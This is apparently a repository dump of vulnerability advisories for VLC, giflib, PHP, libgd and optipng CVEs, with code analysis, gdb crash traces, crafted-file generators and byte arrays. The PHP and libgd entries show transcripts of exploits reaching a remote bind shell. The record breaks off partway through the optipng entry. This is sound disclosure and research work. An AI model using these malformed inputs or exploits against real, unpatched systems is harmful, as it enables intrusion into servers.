├── 013-vlc.md ├── 004-giflib.org ├── 009-php.org ├── 008-libgd.org ├── 007-optipng.org ├── 005-libtiff.org ├── 010-php.org ├── 002-libnsgif.org ├── 011-php.org ├── 012-vlc.org ├── 003-libnsbmp.org ├── 006-php.org └── 014-yz1-izarc.md /013-vlc.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-19857: vlc: uninitialized memory read in caf demuxer 2 | 3 | The CAF demuxer in VLC 3.0.4 and the master branch before commit 4 | 0cc5ea748ee5ff7705dde61ab15dff8f58be39d0 may read memory from an 5 | uninitialized pointer when processing magic cookies in CAF files. 6 | 7 | This is caused by a typecast that converts a possibly negative return 8 | value to an `unsigned int` in the function `ReadKukiChunk()`: 9 | 10 | `vlc/modules/demux/caf.c` 11 | 12 | ```c 13 | 689 static int ReadKukiChunk( demux_t *p_demux, uint64_t i_size ) 14 | 690 { 15 | ... 16 | 692 const uint8_t *p_peek; 17 | ... 18 | 701 if( (unsigned int)vlc_stream_Peek( p_demux->s, &p_peek, (int)i_size ) < i_size ) 19 | 702 { 20 | 703 msg_Err( p_demux, "Couldn't peek extra data" ); 21 | 704 return VLC_EGENERIC; 22 | 705 } 23 | ``` 24 | 25 | With a sufficiently large `i_size`, an allocation may fail in 26 | `vlc_stream_Peek()`. This would result in a return value of 27 | `VLC_ENOMEM`: 28 | 29 | `vlc/src/input/stream.c` 30 | 31 | ```c 32 | 494 ssize_t vlc_stream_Peek(stream_t *s, const uint8_t **restrict bufp, size_t len) 33 | 495 { 34 | ... 35 | 507 if (peek == NULL) 36 | 508 { 37 | 509 peek = block_Alloc(len); 38 | 510 if (unlikely(peek == NULL)) 39 | 511 return VLC_ENOMEM; 40 | 512 41 | 513 peek->i_buffer = 0; 42 | 514 } 43 | ``` 44 | 45 | `vlc/include/vlc_common.h` 46 | 47 | ```c 48 | 475 #define VLC_ENOMEM (-2) 49 | ``` 50 | 51 | When casted to an `unsigned int`, the comparison of the return value in 52 | `ReadKukiChunk()` won't notice the failure: 53 | 54 | `vlc/modules/demux/caf.c` 55 | 56 | ```c 57 | 701 if( (unsigned int)vlc_stream_Peek( p_demux->s, &p_peek, (int)i_size ) < i_size ) 58 | ``` 59 | 60 | The uninitialized `p_peek` is then used to read and copy data, depending 61 | on the codec (see `ProcessALACCookie()`, `ProcessAACCookie()` and 62 | `ReadKukiChunk()`). This results in a crash and/or a potential infoleak. 63 | 64 | Testcase: 65 | 66 | ```sh 67 | $ ./mkcaf magic.caf 68 | $ gdb --args vlc magic.caf 69 | (gdb) r 70 | ... 71 | Thread 9 "vlc" received signal SIGSEGV, Segmentation fault. 72 | ... 73 | __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:364 74 | 364 ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S: No such file or directory. 75 | (gdb) x/i $rip 76 | => 0x7ffff6a69f50 <__memmove_avx_unaligned_erms+368 at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:364>: vmovdqu ymm5,YMMWORD PTR [rsi+rdx*1-0x20] 77 | ... 78 | (gdb) i r rsi rdx 79 | rsi 0x7fffd4009a00 0x7fffd4009a00 80 | rdx 0x41414141 0x41414141 81 | ``` 82 | 83 | `mkcaf` 84 | 85 | ```python 86 | #!/usr/bin/python3 87 | 88 | import sys 89 | from struct import pack 90 | 91 | caff = [ 92 | # File header 93 | b"caff", # mFileType 94 | pack(">H", 1), # mFileVersion 95 | pack(">H", 0), # mFileFlags 96 | 97 | # Magic cookie chunk header 98 | b"kuki", # mChunkType 99 | pack(">Q", 0x41414141), # mChunkSize 100 | ] 101 | 102 | 103 | def main() -> int: 104 | if len(sys.argv) != 2: 105 | sys.exit("usage: {} ".format(sys.argv[0])) 106 | 107 | with open(sys.argv[1], "wb") as f: 108 | f.write(b"".join(caff)) 109 | return 0 110 | 111 | 112 | if __name__ == "__main__": 113 | sys.exit(main()) 114 | ``` 115 | 116 | 117 | ## Solution 118 | 119 | This issue has been assigned CVE-2018-19857 and it is fixed in the VLC 120 | master branch[1]. 121 | 122 | 123 | ## References 124 | 125 | 1. 126 | -------------------------------------------------------------------------------- /004-giflib.org: -------------------------------------------------------------------------------- 1 | #+title: giflib: heap overflow in giffix (CVE-2015-7555) 2 | #+author: Hans Jerry Illikainen 3 | #+email: hji@dyntopia.com 4 | * About 5 | 6 | giflib[1] is a library for working with GIF images. It also provides 7 | several command-line utilities. 8 | 9 | 10 | * CVE-2015-7555 11 | 12 | A heap overflow may occur in the giffix utility included in 13 | giflib-5.1.1 when processing records of the type 14 | ~IMAGE_DESC_RECORD_TYPE~ due to the allocated size of ~LineBuffer~ 15 | equaling the value of the logical screen width, ~GifFileIn->SWidth~, 16 | while subsequently having ~GifFileIn->Image.Width~ bytes of data written 17 | to it. 18 | 19 | 20 | giflib-5.1.1/util/giffix.c #35..194: 21 | #+begin_src c 22 | int main(int argc, char **argv) 23 | { 24 | [...] 25 | if ((LineBuffer = (GifRowType) malloc(GifFileIn->SWidth)) == NULL) 26 | GIF_EXIT("Failed to allocate memory required, aborted."); 27 | 28 | /* Scan the content of the GIF file and load the image(s) in: */ 29 | do { 30 | [...] 31 | switch (RecordType) { 32 | case IMAGE_DESC_RECORD_TYPE: 33 | if (DGifGetImageDesc(GifFileIn) == GIF_ERROR) 34 | QuitGifError(GifFileIn, GifFileOut); 35 | [...] 36 | Width = GifFileIn->Image.Width; 37 | Height = GifFileIn->Image.Height; 38 | [...] 39 | /* Find the darkest color in color map to use as a filler. */ 40 | ColorMap = (GifFileIn->Image.ColorMap ? GifFileIn->Image.ColorMap : 41 | GifFileIn->SColorMap); 42 | for (i = 0; i < ColorMap->ColorCount; i++) { 43 | j = ((int) ColorMap->Colors[i].Red) * 30 + 44 | ((int) ColorMap->Colors[i].Green) * 59 + 45 | ((int) ColorMap->Colors[i].Blue) * 11; 46 | if (j < ColorIntens) { 47 | ColorIntens = j; 48 | DarkestColor = i; 49 | } 50 | } 51 | 52 | /* Load the image, and dump it. */ 53 | for (i = 0; i < Height; i++) { 54 | GifQprintf("\b\b\b\b%-4d", i); 55 | if (DGifGetLine(GifFileIn, LineBuffer, Width) 56 | == GIF_ERROR) break; 57 | if (EGifPutLine(GifFileOut, LineBuffer, Width) 58 | == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut); 59 | } 60 | 61 | if (i < Height) { 62 | [...] 63 | /* Fill in with the darkest color in color map. */ 64 | for (j = 0; j < Width; j++) 65 | LineBuffer[j] = DarkestColor; 66 | for (; i < Height; i++) 67 | if (EGifPutLine(GifFileOut, LineBuffer, Width) 68 | == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut); 69 | } 70 | break; 71 | [...] 72 | } 73 | } 74 | while (RecordType != TERMINATE_RECORD_TYPE); 75 | [...] 76 | } 77 | #+end_src 78 | 79 | #+begin_src sh 80 | $ gdb -q --args ./giffix heap.gif 81 | Reading symbols from ./giffix...done. 82 | (gdb) b util/giffix.c:94 83 | Breakpoint 1 at 0x401131: file giffix.c, line 94. 84 | (gdb) b util/giffix.c:148 85 | Breakpoint 2 at 0x401449: file giffix.c, line 148. 86 | (gdb) b util/giffix.c:149 87 | Breakpoint 3 at 0x401452: file giffix.c, line 149. 88 | 89 | (gdb) commands 3 90 | Type commands for breakpoint(s) 3, one per line. 91 | End with a line saying just "end". 92 | >printf "%p, 0x%02x\n", LineBuffer+j, DarkestColor 93 | >c 94 | >end 95 | 96 | (gdb) r 97 | [...] 98 | Breakpoint 1, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:94 99 | 94 if ((LineBuffer = (GifRowType) malloc(GifFileIn->SWidth)) == NULL) 100 | 101 | (gdb) p GifFileIn->SWidth 102 | $1 = 1 103 | 104 | (gdb) c 105 | [...] 106 | Breakpoint 2, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:148 107 | 148 for (j = 0; j < Width; j++) 108 | 109 | (gdb) p Width 110 | $2 = 255 111 | 112 | (gdb) c 113 | Continuing. 114 | 115 | Breakpoint 3, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:149 116 | 149 LineBuffer[j] = DarkestColor; 117 | 0x618920, 0x01 118 | 119 | [...] 120 | 121 | Breakpoint 3, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:149 122 | 149 LineBuffer[j] = DarkestColor; 123 | 0x618940, 0x01 124 | 125 | [...] 126 | 127 | Breakpoint 3, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:149 128 | 149 LineBuffer[j] = DarkestColor; 129 | 0x618a1e, 0x01 130 | 131 | Program received signal SIGSEGV, Segmentation fault. 132 | 0x00007ffff7bd8658 in GifFreeMapObject (Object=0x101010101010101) at gifalloc.c:80 133 | 80 (void)free(Object->Colors); 134 | #+end_src 135 | 136 | 137 | heap.gif: 138 | #+begin_src c 139 | unsigned char heap[] = { 140 | /* GIF87a */ 141 | 0x47, 0x49, 0x46, 0x38, 0x37, 0x61, 142 | 143 | /* DGifGetScreenDesc() */ 144 | 0x01, 0x00, /* GifFile->SWidth */ 145 | 0x01, 0x00, /* GifFile->SHeight */ 146 | 0x80, /* ColorCount = 1 << ((this & 0x07) + 1) */ 147 | 0x00, /* GifFile->SBackGroundColor */ 148 | 0x00, /* GifFile->AspectByte */ 149 | 0x11, 0x11, 0x11, /* GifFile->SColorMap->Colors[0] */ 150 | 0x00, 0x00, 0x00, /* GifFile->SColorMap->Colors[1] */ 151 | 152 | /* DGifGetRecordType() */ 153 | 0x2c, /* DESCRIPTOR_INTRODUCER */ 154 | 155 | /* DGifGetImageDesc() */ 156 | 0x00, 0x00, /* GifFile->Image.Left */ 157 | 0x00, 0x00, /* GifFile->Image.Top */ 158 | 0xff, 0x00, /* GifFile->Image.Width */ 159 | 0x01, 0x00, /* GifFile->Image.Height */ 160 | 0x00, /* BitsPerPixel = (this & 0x07) + 1 */ 161 | 162 | /* DGifSetupDecompress() */ 163 | 0x00, /* CodeSize */ 164 | 165 | /* end of image data */ 166 | 0x00, 167 | 168 | /* end of gif */ 169 | 0x3b 170 | }; 171 | #+end_src 172 | 173 | 174 | * Solution 175 | 176 | No fix exists as of yet. 177 | 178 | 179 | * Footnotes 180 | 181 | [1] http://giflib.sourceforge.net/ 182 | -------------------------------------------------------------------------------- /009-php.org: -------------------------------------------------------------------------------- 1 | #+title: CVE-2016-3078: php: integer overflow in ZipArchive::getFrom* 2 | #+author: Hans Jerry Illikainen 3 | #+email: hji@dyntopia.com 4 | 5 | * Details 6 | 7 | An integer wrap may occur in PHP 7.x before version 7.0.6 when reading 8 | zip files with the getFromIndex() and getFromName() methods of 9 | ZipArchive, resulting in a heap overflow. 10 | 11 | php-7.0.5/ext/zip/php_zip.c 12 | #+begin_src c 13 | 2679 static void php_zip_get_from(INTERNAL_FUNCTION_PARAMETERS, int type) /* {{{ */ 14 | 2680 { 15 | .... 16 | 2684 struct zip_stat sb; 17 | .... 18 | 2689 zend_long len = 0; 19 | .... 20 | 2692 zend_string *buffer; 21 | .... 22 | 2702 if (type == 1) { 23 | 2703 if (zend_parse_parameters(ZEND_NUM_ARGS(), "P|ll", &filename, &len, &flags) == FAILURE) { 24 | 2704 return; 25 | 2705 } 26 | 2706 PHP_ZIP_STAT_PATH(intern, ZSTR_VAL(filename), ZSTR_LEN(filename), flags, sb); // (ref:1) 27 | 2707 } else { 28 | 2708 if (zend_parse_parameters(ZEND_NUM_ARGS(), "l|ll", &index, &len, &flags) == FAILURE) { 29 | 2709 return; 30 | 2710 } 31 | 2711 PHP_ZIP_STAT_INDEX(intern, index, 0, sb); // (ref:1) 32 | 2712 } 33 | .... 34 | 2718 if (len < 1) { 35 | 2719 len = sb.size; 36 | 2720 } 37 | .... 38 | 2731 buffer = zend_string_alloc(len, 0); // (ref:2) 39 | 2732 n = zip_fread(zf, ZSTR_VAL(buffer), ZSTR_LEN(buffer)); // (ref:3) 40 | .... 41 | 2742 } 42 | #+end_src 43 | 44 | With ~sb.size~ from ([[(1)]]) being: 45 | 46 | php-7.0.5/ext/zip/lib/zip_stat_index.c 47 | #+begin_src c 48 | 038 ZIP_EXTERN int 49 | 039 zip_stat_index(zip_t *za, zip_uint64_t index, zip_flags_t flags, 50 | 040 zip_stat_t *st) 51 | 041 { 52 | ... 53 | 043 zip_dirent_t *de; 54 | 044 55 | 045 if ((de=_zip_get_dirent(za, index, flags, NULL)) == NULL) 56 | 046 return -1; 57 | ... 58 | 063 st->size = de->uncomp_size; 59 | ... 60 | 086 } 61 | #+end_src 62 | 63 | Both ~size~ and ~uncomp_size~ are unsigned 64bit integers: 64 | 65 | php-7.0.5/ext/zip/lib/zipint.h 66 | #+begin_src c 67 | 339 struct zip_dirent { 68 | ... 69 | 351 zip_uint64_t uncomp_size; /* (cl) size of uncompressed data */ 70 | ... 71 | 332 }; 72 | #+end_src 73 | 74 | php-7.0.5/ext/zip/lib/zip.h 75 | #+begin_src c 76 | 279 struct zip_stat { 77 | ... 78 | 283 zip_uint64_t size; /* size of file (uncompressed) */ 79 | ... 80 | 290 }; 81 | #+end_src 82 | 83 | Whereas ~len~ is signed and has a platform-dependent size: 84 | 85 | php-7.0.5/Zend/zend_long.h 86 | #+begin_src c 87 | 028 #if defined(__x86_64__) || defined(__LP64__) || defined(_LP64) || defined(_WIN64) 88 | 029 # define ZEND_ENABLE_ZVAL_LONG64 1 89 | 030 #endif 90 | ... 91 | 033 #ifdef ZEND_ENABLE_ZVAL_LONG64 92 | 034 typedef int64_t zend_long; 93 | ... 94 | 043 #else 95 | 044 typedef int32_t zend_long; 96 | ... 97 | 053 #endif 98 | #+end_src 99 | 100 | Uncompressed file sizes in zip-archives may be specified as either 32- 101 | or 64bit values; with the latter requiring that the size be specified in 102 | the extra field in zip64 mode. 103 | 104 | Anyway, as for the invocation of ~zend_string_alloc()~ in ([[(2)]]): 105 | 106 | php-7.0.5/Zend/zend_string.h 107 | #+begin_src c 108 | 119 static zend_always_inline zend_string *zend_string_alloc(size_t len, int persistent) 109 | 120 { 110 | 121 zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent); // (ref:4) 111 | ... 112 | 133 ZSTR_LEN(ret) = len; // (ref:5) 113 | 134 return ret; 114 | 135 } 115 | #+end_src 116 | 117 | The ~size~ argument to the ~pemalloc~ macro is aligned/adjusted in ([[(4)]]) 118 | whilst the *original* value of ~len~ is stored as the size of the 119 | allocated buffer in ([[(5)]]). No boundary checking is done in ([[(4)]]) and it 120 | may thus wrap, which would lead to a heap overflow during the invocation 121 | of ~zip_fread()~ in ([[(3)]]) as the ~toread~ argument is ~ZSTR_LEN(buffer)~: 122 | 123 | php-7.0.5/Zend/zend_string.h 124 | #+begin_src c 125 | 041 #define ZSTR_LEN(zstr) (zstr)->len 126 | #+end_src 127 | 128 | On a 32bit system: 129 | 130 | #+begin_src sh 131 | (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0xfffffffe)) 132 | $1 = 0x10 133 | #+end_src 134 | 135 | The wraparound may also occur on 64bit systems with ~uncomp_size~ 136 | specified in the extra field (Zip64 mode; ext/zip/lib/zip_dirent.c:463). 137 | However, it won't result in a buffer overflow because of ~zip_fread()~ 138 | bailing on a size that would have wrapped the allocation in ([[(4)]]): 139 | 140 | php-7.0.5/ext/zip/lib/zip_fread.c 141 | #+begin_src c 142 | 038 ZIP_EXTERN zip_int64_t 143 | 039 zip_fread(zip_file_t *zf, void *outbuf, zip_uint64_t toread) 144 | 040 { 145 | ... 146 | 049 if (toread > ZIP_INT64_MAX) { 147 | 050 zip_error_set(&zf->error, ZIP_ER_INVAL, 0); 148 | 051 return -1; 149 | 052 } 150 | ... 151 | 063 } 152 | #+end_src 153 | 154 | php-7.0.5/ext/zip/lib/zipconf.h 155 | #+begin_src c 156 | 130 #define ZIP_INT64_MAX 0x7fffffffffffffffLL 157 | #+end_src 158 | 159 | #+begin_src sh 160 | (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0x7fffffffffffffff)) 161 | $1 = 0x8000000000000018 162 | #+end_src 163 | 164 | 165 | * PoC 166 | 167 | Against Arch Linux i686 with php-fpm 7.0.5 behind nginx [1]: 168 | 169 | #+begin_src sh 170 | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php 171 | [*] this may take a while 172 | [*] 103 of 4096 (0x67fd0)... 173 | [+] connected to 1.2.3.4:5555 174 | 175 | id 176 | uid=33(http) gid=33(http) groups=33(http) 177 | 178 | uname -a 179 | Linux arch32 4.5.1-1-ARCH #1 SMP PREEMPT Thu Apr 14 19:36:01 CEST 180 | 2016 i686 GNU/Linux 181 | 182 | pacman -Qs php-fpm 183 | local/php-fpm 7.0.5-2 184 | FastCGI Process Manager for PHP 185 | 186 | cat upload.php 187 | open($_FILES["file"]["tmp_name"]) !== TRUE) { 190 | echo "cannot open archive\n"; 191 | } else { 192 | for ($i = 0; $i < $zip->numFiles; $i++) { 193 | $data = $zip->getFromIndex($i); 194 | } 195 | $zip->close(); 196 | } 197 | ?> 198 | #+end_src 199 | 200 | 201 | * Solution 202 | 203 | This issue has been fixed in php 7.0.6. 204 | 205 | 206 | * Footnotes 207 | 208 | [1] https://github.com/dyntopia/exploits/tree/master/CVE-2016-3078 209 | -------------------------------------------------------------------------------- /008-libgd.org: -------------------------------------------------------------------------------- 1 | #+title: CVE-2016-3074: libgd: signedness vulnerability 2 | #+author: Hans Jerry Illikainen 3 | #+email: hji@dyntopia.com 4 | 5 | * Overview 6 | 7 | libgd [1] is an open-source image library. It is perhaps primarily used 8 | by the PHP project. It has been bundled with the default installation 9 | of PHP since version 4.3 [2]. 10 | 11 | A signedness vulnerability (CVE-2016-3074) exist in libgd 2.1.1 which 12 | may result in a heap overflow when processing compressed gd2 data. 13 | 14 | 15 | * Details 16 | 17 | 4 bytes representing the chunk index size is stored in a signed integer, 18 | chunkIdx[i].size, by ~gdGetInt()~ during the parsing of GD2 headers: 19 | 20 | libgd-2.1.1/src/gd_gd2.c: 21 | #+begin_src c 22 | 53 typedef struct { 23 | 54 int offset; 24 | 55 int size; 25 | 56 } 26 | 57 t_chunk_info; 27 | #+end_src 28 | 29 | libgd-2.1.1/src/gd_gd2.c: 30 | #+begin_src c 31 | 65 static int 32 | 66 _gd2GetHeader (gdIOCtxPtr in, int *sx, int *sy, 33 | 67 int *cs, int *vers, int *fmt, int *ncx, int *ncy, 34 | 68 t_chunk_info ** chunkIdx) 35 | 69 { 36 | ... 37 | 73 t_chunk_info *cidx; 38 | ... 39 | 155 if (gd2_compressed (*fmt)) { 40 | ... 41 | 163 for (i = 0; i < nc; i++) { 42 | ... 43 | 167 if (gdGetInt (&cidx[i].size, in) != 1) { 44 | 168 goto fail2; 45 | 169 }; 46 | 170 }; 47 | 171 *chunkIdx = cidx; 48 | 172 }; 49 | ... 50 | 181 } 51 | #+end_src 52 | 53 | ~gdImageCreateFromGd2Ctx()~ and ~gdImageCreateFromGd2PartCtx()~ then 54 | allocates memory for the compressed data based on the value of the 55 | largest chunk size: 56 | 57 | libgd-2.1.1/src/gd_gd2.c: 58 | #+begin_src c 59 | 371|637 if (gd2_compressed (fmt)) { 60 | 372|638 /* Find the maximum compressed chunk size. */ 61 | 373|639 compMax = 0; 62 | 374|640 for (i = 0; (i < nc); i++) { 63 | 375|641 if (chunkIdx[i].size > compMax) { 64 | 376|642 compMax = chunkIdx[i].size; 65 | 377|643 }; 66 | 378|644 }; 67 | 379|645 compMax++; 68 | ...|... 69 | 387|656 compBuf = gdCalloc (compMax, 1); 70 | ...|... 71 | 393|661 }; 72 | #+end_src 73 | 74 | A size of <= 0 results in ~compMax~ retaining its initial value during 75 | the loop, followed by it being incremented to 1. Since ~compMax~ is 76 | used as the nmemb for ~gdCalloc()~, this leads to a 1*1 byte allocation 77 | for ~compBuf~. 78 | 79 | This is followed by compressed data being read to ~compBuf~ based on the 80 | current (potentially negative) chunk size: 81 | 82 | libgd-2.1.1/src/gd_gd2.c: 83 | #+begin_src c 84 | 339 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in) 85 | 340 { 86 | ... 87 | 413 if (gd2_compressed (fmt)) { 88 | 414 89 | 415 chunkLen = chunkMax; 90 | 416 91 | 417 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset, 92 | 418 compBuf, 93 | 419 chunkIdx[chunkNum].size, 94 | 420 (char *) chunkBuf, &chunkLen, in)) { 95 | 421 GD2_DBG (printf ("Error reading comproessed chunk\n")); 96 | 422 goto fail; 97 | 423 }; 98 | 424 99 | 425 chunkPos = 0; 100 | 426 }; 101 | ... 102 | 501 } 103 | #+end_src 104 | 105 | 106 | libgd-2.1.1/src/gd_gd2.c: 107 | #+begin_src c 108 | 585 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2PartCtx (gdIOCtx * in, int srcx, int srcy, int w, int h) 109 | 586 { 110 | ... 111 | 713 if (!gd2_compressed (fmt)) { 112 | ... 113 | 731 } else { 114 | 732 chunkNum = cx + cy * ncx; 115 | 733 116 | 734 chunkLen = chunkMax; 117 | 735 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset, 118 | 736 compBuf, 119 | 737 chunkIdx[chunkNum].size, 120 | 738 (char *) chunkBuf, &chunkLen, in)) { 121 | 739 printf ("Error reading comproessed chunk\n"); 122 | 740 goto fail2; 123 | 741 }; 124 | ... 125 | 746 }; 126 | ... 127 | 815 } 128 | #+end_src 129 | 130 | The size is subsequently interpreted as a size_t by ~fread()~ or 131 | ~memcpy()~, depending on how the image is read: 132 | 133 | libgd-2.1.1/src/gd_gd2.c: 134 | #+begin_src c 135 | 221 static int 136 | 222 _gd2ReadChunk (int offset, char *compBuf, int compSize, char *chunkBuf, 137 | 223 uLongf * chunkLen, gdIOCtx * in) 138 | 224 { 139 | ... 140 | 236 if (gdGetBuf (compBuf, compSize, in) != compSize) { 141 | 237 return FALSE; 142 | 238 }; 143 | ... 144 | 251 } 145 | #+end_src 146 | 147 | libgd-2.1.1/src/gd_io.c: 148 | #+begin_src c 149 | 211 int gdGetBuf(void *buf, int size, gdIOCtx *ctx) 150 | 212 { 151 | 213 return (ctx->getBuf)(ctx, buf, size); 152 | 214 } 153 | #+end_src 154 | 155 | 156 | For file contexts: 157 | 158 | libgd-2.1.1/src/gd_io_file.c: 159 | #+begin_src c 160 | 52 BGD_DECLARE(gdIOCtx *) gdNewFileCtx(FILE *f) 161 | 53 { 162 | ... 163 | 67 ctx->ctx.getBuf = fileGetbuf; 164 | ... 165 | 76 } 166 | ... 167 | 92 static int fileGetbuf(gdIOCtx *ctx, void *buf, int size) 168 | 93 { 169 | 94 fileIOCtx *fctx; 170 | 95 fctx = (fileIOCtx *)ctx; 171 | 96 172 | 97 return (fread(buf, 1, size, fctx->f)); 173 | 98 } 174 | #+end_src 175 | 176 | 177 | And for dynamic contexts: 178 | 179 | libgd-2.1.1/src/gd_io_dp.c: 180 | #+begin_src c 181 | 74 BGD_DECLARE(gdIOCtx *) gdNewDynamicCtxEx(int initialSize, void *data, int freeOKFlag) 182 | 75 { 183 | ... 184 | 95 ctx->ctx.getBuf = dynamicGetbuf; 185 | ... 186 | 104 } 187 | ... 188 | 256 static int dynamicGetbuf(gdIOCtxPtr ctx, void *buf, int len) 189 | 257 { 190 | ... 191 | 280 memcpy(buf, (void *) ((char *)dp->data + dp->pos), rlen); 192 | ... 193 | 284 } 194 | #+end_src 195 | 196 | 197 | * PoC 198 | 199 | Against Ubuntu 15.10 amd64 running nginx with php5-fpm and php5-gd [3]: 200 | 201 | #+begin_src sh 202 | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php 203 | [*] this may take a while 204 | [*] offset 912 of 10000... 205 | [+] connected to 1.2.3.4:5555 206 | id 207 | uid=33(www-data) gid=33(www-data) groups=33(www-data) 208 | 209 | uname -a 210 | Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC 211 | 2016 x86_64 x86_64 x86_64 GNU/Linux 212 | 213 | dpkg -l|grep -E "php5-(fpm|gd)" 214 | ii php5-fpm 5.6.11+dfsg-1ubuntu3.1 ... 215 | ii php5-gd 5.6.11+dfsg-1ubuntu3.1 ... 216 | 217 | cat upload.php 218 | 221 | #+end_src 222 | 223 | 224 | * Solution 225 | 226 | This bug has been fixed in git HEAD [4]. 227 | 228 | 229 | * Footnotes 230 | 231 | [1] http://libgd.org/ 232 | 233 | [2] https://en.wikipedia.org/wiki/Libgd 234 | 235 | [3] https://github.com/dyntopia/exploits/tree/master/CVE-2016-3074 236 | 237 | [4] https://github.com/libgd/libgd/commit/2bb97f407c1145c850416a3bfbcc8cf124e68a19 238 | -------------------------------------------------------------------------------- /007-optipng.org: -------------------------------------------------------------------------------- 1 | #+title: CVE-2016-2191: optipng: invalid write 2 | #+author: Hans Jerry Illikainen 3 | #+email: hji@dyntopia.com 4 | 5 | An invalid write may occur in optipng before version 0.7.6 while 6 | processing bitmap images due to ~crt_row~ being (inc|dec)remented 7 | without any boundary checking when encountering delta escapes. 8 | 9 | optipng-0.7.5/src/pngxtern/pngxrbmp.c: 10 | #+begin_src c 11 | 210 static size_t 12 | 211 bmp_read_rows(png_bytepp begin_row, png_bytepp end_row, size_t row_size, 13 | 212 unsigned int compression, FILE *stream) 14 | 213 { 15 | ... 16 | 272 crt_row = begin_row; 17 | 273 for ( ; ; ) 18 | 274 { 19 | 275 ch = getc(stream); b1 = (unsigned int)ch; 20 | 276 ch = getc(stream); b2 = (unsigned int)ch; 21 | 277 if (ch == EOF) 22 | 278 break; 23 | 279 if (b1 == 0) /* escape */ 24 | 280 { 25 | ... 26 | 307 else if (b2 == 2) /* delta */ 27 | 308 { 28 | 309 ch = getc(stream); b1 = (unsigned int)ch; /* horiz. offset */ 29 | 310 ch = getc(stream); b2 = (unsigned int)ch; /* vert. offset */ 30 | ... 31 | 314 if (b2 > (size_t)((end_row - crt_row) * inc)) 32 | 315 b2 = (unsigned int)((end_row - crt_row) * inc); 33 | 316 for ( ; b2 > 0; --b2) 34 | 317 { 35 | ... 36 | 319 crt_row += inc; 37 | ... 38 | 322 } 39 | ... 40 | 324 } 41 | 325 else /* b2 >= 3 bytes in absolute mode */ 42 | 326 { 43 | 327 len = (b2 <= endn - crtn) ? b2 : (unsigned int)(endn - crtn); 44 | 328 if (bmp_fread_fn(*crt_row, crtn, len, stream) != len) 45 | 329 break; 46 | 330 crtn += len; 47 | 331 } 48 | 332 } 49 | ... 50 | 352 } 51 | #+end_src 52 | 53 | After ~crt_row~ has moved OOB, an invalid write may be triggered with 54 | ~bmp_fread_fn()~ in absolute mode: 55 | 56 | #+begin_src sh 57 | $ gdb --args optipng oob.bmp 58 | (gdb) r 59 | ** Processing: oob.bmp 60 | 61 | Program received signal SIGSEGV, Segmentation fault. 62 | __memcpy_sse2 () at ../sysdeps/x86_64/multiarch/../memcpy.S:96 63 | 96 ../sysdeps/x86_64/multiarch/../memcpy.S: No such file or directory. 64 | 65 | (gdb) bt 66 | #0 __memcpy_sse2 () at ../sysdeps/x86_64/multiarch/../memcpy.S:96 67 | #1 0x00007ffff7a89003 in __GI__IO_file_xsgetn (fp=0x64a010, data=, n=4) at fileops.c:1371 68 | #2 0x00007ffff7a7e5f0 in __GI__IO_fread (buf=, size=1, count=4, fp=0x64a010) at iofread.c:42 69 | #3 0x000000000040b632 in bmp_rle4_fread (ptr=0x4141 , offset=0, len=8, stream=0x64a010) at pngxrbmp.c:170 70 | #4 0x000000000040baf6 in bmp_read_rows (begin_row=0x64e668, end_row=0x64a538, row_size=4, compression=2, stream=0x64a010) at pngxrbmp.c:328 71 | #5 0x000000000040cb0e in pngx_read_bmp (png_ptr=0x64a240, info_ptr=0x64a4b0, stream=0x64a010) at pngxrbmp.c:724 72 | #6 0x000000000040b352 in pngx_read_image (png_ptr=0x64a240, info_ptr=0x64a4b0, fmt_name_ptr=0x7fffffffbf10, fmt_long_name_ptr=0x0) at pngxread.c:130 73 | #7 0x00000000004043cc in opng_read_file (infile=0x64a010) at optim.c:939 74 | #8 0x000000000040586a in opng_optimize_impl (infile_name=0x7fffffffe86f "oob.bmp") at optim.c:1503 75 | #9 0x0000000000406749 in opng_optimize (infile_name=0x7fffffffe86f "oob.bmp") at optim.c:1853 76 | #10 0x0000000000402bf0 in process_files (argc=2, argv=0x7fffffffe638) at optipng.c:941 77 | #11 0x0000000000402cb5 in main (argc=2, argv=0x7fffffffe638) at optipng.c:975 78 | 79 | (gdb) x/i $rip 80 | => 0x7ffff7aa3427 <__memcpy_sse2+55 at ../sysdeps/x86_64/multiarch/../memcpy.S:96>: mov %ecx,(%rdi) 81 | (gdb) p/x $ecx 82 | $1 = 0x11223344 83 | (gdb) p/x $rdi 84 | $2 = 0x4141 85 | (gdb) 86 | #+end_src 87 | 88 | 89 | * oob.bmp 90 | #+begin_src c 91 | unsigned char bmp[] = { 92 | /* bmp header */ 93 | 0x42, 0x4d, /* BM */ 94 | 0x00, 0x00, 0x00, 0x00, /* bmp size */ 95 | 0x00, 0x00, /* reserved */ 96 | 0x00, 0x00, /* reserved */ 97 | 0x7a, 0x00, 0x00, 0x00, /* offset */ 98 | 99 | /* dib header */ 100 | 0x6c, 0x00, 0x00, 0x00, /* header_size (BITMAPV4HEADER) */ 101 | 0x01, 0x00, 0x00, 0x00, /* width */ 102 | 0x26, 0x08, 0x00, 0x00, /* height */ 103 | 0x01, 0x00, /* color planes */ 104 | 0x04, 0x00, /* bits per pixel */ 105 | 0x02, 0x00, 0x00, 0x00, /* compression (RLE4) */ 106 | 0x00, 0x00, 0x00, 0x00, /* size of bitmap */ 107 | 